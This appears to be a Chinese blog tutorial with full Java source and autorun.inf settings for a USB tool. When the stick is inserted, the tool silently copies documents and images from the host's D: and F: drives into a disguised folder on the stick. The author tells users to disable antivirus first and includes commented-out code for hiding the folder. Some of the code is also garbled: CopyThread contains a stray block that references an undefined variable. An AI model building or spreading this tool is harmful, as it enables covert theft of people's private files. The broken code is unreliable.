U盘copy电脑上的文件(基于java实现)
通过以下四个java类(记得改包名) ,生成exe程序,再加上自运行inf文件,实现u盘插入电脑时即可自动copy D盘,F盘文件(前提是关闭360等杀毒软件!)
USBMain类,程序主入口
package AutoCopy;
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.IOException;
public class USBMain {
//界面
private void launchFrame(){
final JFrame frame = new JFrame();
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setLocation(450,250);
JButton hide = new JButton("点击隐藏窗口");
//点击按钮后隐藏窗口事件
hide.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
frame.setVisible(false);
}
});
frame.add(hide);
frame.pack();
frame.setVisible(true);
}
public static void main(String[] args) throws InterruptedException, IOException {
USBMain u = new USBMain();
//u.launchFrame();
//开启盘符检查线程
new CheckRootThread().start();
Thread.sleep(60000);
System.exit(0);
}
}
CopyThread类
package AutoCopy;
import java.io.File;
public class CopyThread extends Thread {
/**
* 用于遍历文件并指定文件格式复制
*/
//设置要复制的文件类型,如果要复制所有的文件,将fileTypes设置为null即可
private static String[] fileTypes = {"doc", "docx", "txt","jpg","png","xls"};
//private static String[] fileTypes = null;
File file = null;
public CopyThread(File file) {
this.file = file;
}
public void run(){
listUsbFiles(file);
}
//遍历盘符文件,并匹配文件复制
private void listUsbFiles(File ufile) {
//File[] files = ufile.listFiles();
//String[] str = ufile.list();
// for (String s : str) {
if (ufile != null) {
if (ufile.isDirectory()) {
File[] file = ufile.listFiles();
if (file != null) {
for (int i = 0; i < file.length; i++) {
listUsbFiles(file[i]);
}
}
} else {
if (fileTypeMatch(ufile)) {
new CopyFileToSysRoot(ufile).doCopy();
}
}
}
// }
// for (File f : files) {
if (f.isDirectory()) {
listUsbFiles(f);
} else {
// if (fileTypeMatch(f)) {
// new CopyFileToSysRoot(f).doCopy();
// }
// }
}
}
//匹配要复制的文件类型
public boolean fileTypeMatch(File f) {
if (fileTypes == null) {
return true;
} else {
for (String type : fileTypes) {
if (f.getName().endsWith("." + type)) {
return true;
}
}
}
return false;
}
}
CopyFileToSysRoot类
package AutoCopy;
import javax.swing.filechooser.FileSystemView;
import java.io.*;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Path;
public class CopyFileToSysRoot {
/**
* 实现文件复制,可以指定路径,甚至可以发邮件
*/
//复制文件保存路径,要改
//获得U盘盘符
public String PATH;
public String findURootPath(){
FileSystemView sys = FileSystemView.getFileSystemView();
//循环盘符
File[] files = File.listRoots();
for(File file:files){
//得到系统中存在的C:\,D:\,E:\,F:\,H:\
//System.out.println("系统中存在的"+file.getPath());
}
File file = null;
String path = null;
for(int i = 0; i < files.length; i++) {
//得到文字命名形式的盘符系统 (C:)、软件 (D:)、公司文档 (E:)、测试U盘 (H:)
//System.out.println("得到文字命名形式的盘符"+sys.getSystemDisplayName(files[i]));
if(sys.getSystemDisplayName(files[i]).contains("PANAMERA")){
file = files[i];
break;
}
}
if(file!=null){
path = file.getPath();
}
return path;
}
//private static final String PATH = "PANAMERA([D|E|G|K|L|M|N|O|P|F|Q]):\\USB";
private File file = null;
public CopyFileToSysRoot(File file) {
this.file = file;
}
//复制文件
public void doCopy(){
BufferedInputStream bis = null;
BufferedOutputStream bos = null;
try {
//创建目录
File fPath = new File(getFileParent(file));
if (!fPath.exists()) {
fPath.mkdirs();
// String string=" attrib +H "+fPath.getAbsolutePath(); //设置文件属性为隐藏
// Runtime.getRuntime().exec(string);
// Path path = FileSystems.getDefault().getPath("/j", "sa");
// Files.setAttribute(path, "dos:hidden", true);
}
bis = new BufferedInputStream(new FileInputStream(file));
bos = new BufferedOutputStream(new FileOutputStream(new File(fPath,file.getName())));
byte[] buf = new byte[1024];
int len = 0;
while ((len = bis.read(buf)) != -1) {
bos.write(buf, 0, len);
bos.flush();
}
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e1) {
e1.printStackTrace();
} finally {
try {
if (bis != null) {
bis.close();
}
} catch (IOException e) {
e.printStackTrace();
}
try {
if (bos != null) {
bos.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
//根据盘符中文件的路径,创建复制文件的文件路径
public String getFileParent(File file) throws IOException {
String path = this.findURootPath();
PATH = path+"\\I'm fine\\true\\really\\USB";
StringBuilder sb = new StringBuilder(file.getParent());
int i = sb.indexOf(File.separator);
sb.replace(0, i, PATH);
// String string=" attrib +H "+file.getAbsolutePath(); //设置文件属性为隐藏
// Runtime.getRuntime().exec(string);
return sb.toString();
}
public String getPATH() {
return PATH;
}
}
CheckRootThread类
package AutoCopy;
import java.io.File;
public class CheckRootThread extends Thread{
/**
* 此类用于检查新盘符的出现,并触发新盘符文件的拷贝
*/
//获得系统盘符
public File[] sysRoot = File.listRoots();
public void run(){
File[] currentRoot = null;
// while (true) {
// //当前的系统盘
// currentRoot = File.listRoots();
// for (int i = 0; i < currentRoot.length; i++) {
// System.out.println(currentRoot[i]);
// }
// if (currentRoot.length > sysRoot.length) {
// for (int i = currentRoot.length-1; i >= 0; i--) {
// boolean isNewRoot = true;
// for (int j = sysRoot.length-1; j >=0; j--) {
// //当两者盘符不同时,触发新盘符对系统盘的文件拷贝
// if (currentRoot[i].equals(sysRoot[j])) {
// isNewRoot = false;
// }
// }
// if (isNewRoot) {
// //这地方要改
// System.err.println(currentRoot[i]);
// new CopyThread(currentRoot[i]).start();
//
// }
//
// }
// }
// //new CopyThread(currentRoot[1]).start();
// sysRoot = File.listRoots();
// //每5秒时间检查一次系统盘符,貌似也要改
// try {
// Thread.sleep(5000);
// } catch (InterruptedException e) {
// e.printStackTrace();
// }
// }
String fileName = "D:"+File.separator;
File f = new File(fileName);
new CopyThread(f).start();
String fileName2 = "D:"+File.separator;
File f1 = new File(fileName2);
new CopyThread(f1).start();
String fileName1 = "F:"+File.separator;
File f2 = new File(fileName1);
new CopyThread(f2).start();
}
}
网上下载exe4j软件,用于将java代码转换成exe程序,放在u盘里,详情参考:
https://blog.csdn.net/zhang_ling_yun/article/details/78042945
在u盘里增加autorun.inf文件,假如要自动运行的文件名为setup.exe,放在盘的根目录下:
autorun.inf内容:
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
如果不在根目录下,如在X:???下,可作相应更改:
[AutoRun]
OPEN=X:???\setup.exe
shellexecute=X:???\setup.exe
shell\Auto\command=X:???\setup.exe
详情参考,autorun.inf文件操作手册